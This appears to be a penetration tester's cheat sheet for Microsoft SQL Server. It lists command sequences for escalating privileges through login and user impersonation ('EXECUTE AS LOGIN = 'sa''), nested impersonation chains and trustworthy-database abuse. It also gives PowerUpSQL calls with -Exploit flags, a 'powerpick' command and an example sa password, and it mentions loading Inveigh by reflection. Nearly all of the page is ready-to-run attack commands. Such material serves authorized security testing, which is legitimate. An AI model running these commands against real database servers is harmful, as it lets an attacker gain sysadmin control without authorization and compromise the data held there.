MSSQL - Audit Checks
Summary
Impersonation Opportunities
- Impersonate as:
EXECUTE AS LOGIN = 'sa'
- Impersonate
dbo
with DB_OWNER
SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
Exploiting Impersonation
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
Exploiting Nested Impersonation
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
Trustworthy Databases
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.